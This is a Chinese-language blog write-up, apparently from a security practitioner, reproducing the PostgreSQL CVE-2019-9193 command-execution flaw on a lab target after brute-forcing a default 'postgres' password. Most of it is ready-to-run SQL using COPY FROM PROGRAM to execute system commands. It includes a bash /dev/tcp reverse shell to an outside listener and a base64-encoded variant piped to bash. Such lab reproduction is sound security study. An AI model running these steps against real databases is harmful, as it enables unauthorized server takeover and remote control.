PostgreSQL 任意命令执行漏洞(CVE-2019-9193)

记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。

使用靶机复现攻击过程。

过程

在信息收集过程中,获取到在公网服务器上开启了5432端口,尝试进行暴破,获取到数据库名为默认postgres,密码为1

随后连接进PostgreSql

已知从9.3版本开始,postgresql新增copy to/from program功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

利用条件:

  • 超级用户权限
  • 版本9.3-11.2

默认数据库postgres已经是超级用户权限,然后需要确认数据库版本

查看PostgreSql版本

以上两个条件均具备,说明该漏洞可以利用

执行命令,获取用户id及群组id

-- 先删除你想要使用但是已经存在的表

DROP TABLE IF EXISTS cmd_exec;

-- 创建保存系统命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

-- 执行系统命令利用特定函数

COPY cmd_exec FROM PROGRAM 'id';

-- 查看执行结果

SELECT * FROM cmd_exec;

命令可以正常执行,随后执行反弹shell命令尝试获取交互shell

控制端使用nc开启监听

在数据库中执行如下命令

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.110.143/7777 0>&1';

SELECT * FROM cmd_exec;

在实战中使用上述命令可以正常反弹shell,但是在靶场中执行会产生报错信息ERROR: program "/bin/bash -i >& /dev/tcp/192.168.110.143/7777 0>&1" failed

DETAIL: child process exited with exit code 2

尝试对反弹shell命令进行编码

echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEK" | base64 -d | bash

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEK" | base64 -d | bash';

SELECT * FROM cmd_exec;

执行后成功获取到shell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值